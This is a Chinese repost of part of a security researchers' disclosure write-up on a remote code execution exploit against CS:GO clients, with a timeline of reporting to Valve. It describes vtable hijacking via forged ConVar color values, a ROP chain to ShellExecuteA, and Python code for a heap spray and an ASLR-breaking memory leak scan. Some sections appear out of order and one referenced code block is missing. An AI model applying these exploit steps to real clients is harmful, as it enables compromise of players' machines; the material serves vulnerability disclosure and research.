当前位置:主页 > 查看内容

可靠的远程代码执行(3)

发布时间:2021-07-11 00:00| 位朋友查看

简介:前面我们也提到过OOB访问对象上的虚方法后的几条指令被调用。这通过 vtable 取消引用照常发生。这是再次提醒的代码: 由于我们通过 控制对象的内容 ConVar ,我们可以简单地将 vtable 指针设置为任何值。为了使漏洞利用 100% 可靠,使用信息泄漏指向回控制数……

前面我们也提到过OOB访问对象上的虚方法后的几条指令被调用。这通过 vtable 取消引用照常发生。这是再次提醒的代码:

由于我们通过 控制对象的内容ConVar,我们可以简单地将 vtable 指针设置为任何值。为了使漏洞利用 100% 可靠,使用信息泄漏指向回控制数据的.data部分是有意义的engine.dll

幸运的是,一些ConVars被解释为颜色值,并期望一个4字节(??lpha)值,其可以是攻击者控制。该值直接存储color_value在上述struct ConVar定义的字段中。由于 Windows 上的 CS:GO 进程是 32 位的,我们能够使用 a 的颜色值ConVar来伪造指针。

如果我们使用伪对象的vtable指针指向 的.data部分engine.dll,使得被调用的方法与 重叠color_value,我们最终可以劫持EIP寄存器并任意重定向控制流。这个解引用链可以说明如下:

ROP 链到 RCE

随着 ASLR 被破坏并且我们获得了任意指令指针的控制,剩下要做的就是构建一个 ROP 链,最终导致我们调用ShellExecuteA执行任意系统命令。

结论

我们在一份报告中向 Valve 的 HackerOne 程序提交了这两个错误,以及我们开发的证明 100% 可靠性的漏洞。不幸的是,在 4 个多月的时间里,我们甚至没有收到 Valve 代表的确认。在公众压力下,当 Valve 也明显忽略了其他具有类似影响的安全研究人员时,Valve 终于解决了许多安全问题。我们希望 Valve 重新构建其漏洞赏金计划,以再次吸引安全研究人员。

时间表

日期 (DD/MM/YYYY)

什么

04.01.2021

在一份报告中向 Valve 的漏洞赏金计划报告了两个漏洞

11.01.2021

HackerOne 分类器验证错误并对其进行分类

10.02.2021

第一次跟进,Valve 没有回应

23.02.2021

第二次跟进,Valve 没有回应

10.04.2021

通过 Twitter 披露 Bug 的存在

15.04.2021

第三次跟进,Valve无回应

28.04.2021

Valve 修补了两个错误

打破 ASLR

在本Uninitialized memory in HTTP downloads leads to information disclosure节中,我们展示了 HTTP 下载如何允许我们在客户端的游戏进程中查看任意大小的未初始化内存块。

我们发现了另一条对我们来说似乎很有趣的消息:CSVCMsg_SendTable. 每当客户端收到这样的消息时,它就会在堆上分配一个具有攻击者控制的整数的对象。最重要的是,对象的前 4 个字节将包含一个指向engine.dll.

def spray_send_table(s, addr, nprops):
    table = nmsg.CSVCMsg_SendTable()
    table.is_end = False
    table.net_table_name = "abctable"
    table.needs_decoder = False

    for _ in range(nprops):
        prop = table.props.add()
        prop.type = 0x1337ee00
        prop.var_name = "abc"
        prop.flags = 0
        prop.priority = 0
        prop.dt_name = "whatever"
        prop.num_elements = 0
        prop.low_value = 0.0
        prop.high_value = 0.0
        prop.num_bits = 0x00ff00ff

    tosend = prepare_payload(table, 9)
    s.sendto(tosend, addr)

Windows 堆有点不确定。也就是说,malloc -> free -> malloc组合不会产生相同的块。值得庆幸的是,Saar Amaar 发表了他关于 Windows 堆的出色研究,我们参考了这些研究以更好地了解我们的漏洞利用上下文。

SendTable当我们将文件上传回服务器时,我们想出了一个喷雾来分配许多带有标记的对象数组以进行扫描。因为我们可以选择数组的大小,所以我们选择了一个不太常见的分配大小,以避免干扰正常的游戏代码。如果我们现在一次释放所有被喷射的数组,然后让客户端下载文件,那么其中一个文件命中先前喷射的块的机会相对较高。

在实践中,我们几乎总是在第一个文件中得到泄漏,如果没有,我们可以简单地重置连接并重试,因为我们还没有破坏程序状态。为了最大限度地成功,我们为漏洞利用创建了四个文件。这确保其中至少一个成功,否则只需再试一次。

以下代码显示了我们如何扫描接收到的内存以获取喷射对象以找到SendTable将指向engine.dll.

files_received.append(fn)
pp = packetparser.PacketParser(leak_callback)

for i in range(len(data) - 0x54):
    vtable_ptr = struct.unpack('<I', data[i:i+4])[0]
    table_type = struct.unpack('<I', data[i+8:i+12])[0]
    table_nbits = struct.unpack('<I', data[i+12:i+16])[0]
    if table_type == 0x1337ee00 and table_nbits == 0x00ff00ff:
        engine_base = vtable_ptr - OFFSET_VTABLE 
        print(f"vtable_ptr={hex(vtable_ptr)}")
        break

本站部分内容转载于网络,版权归原作者所有,转载之目的在于传播更多优秀技术内容,如有侵权请联系QQ/微信:153890879删除,谢谢!

推荐图文

  • 周排行
  • 月排行
  • 总排行

随机推荐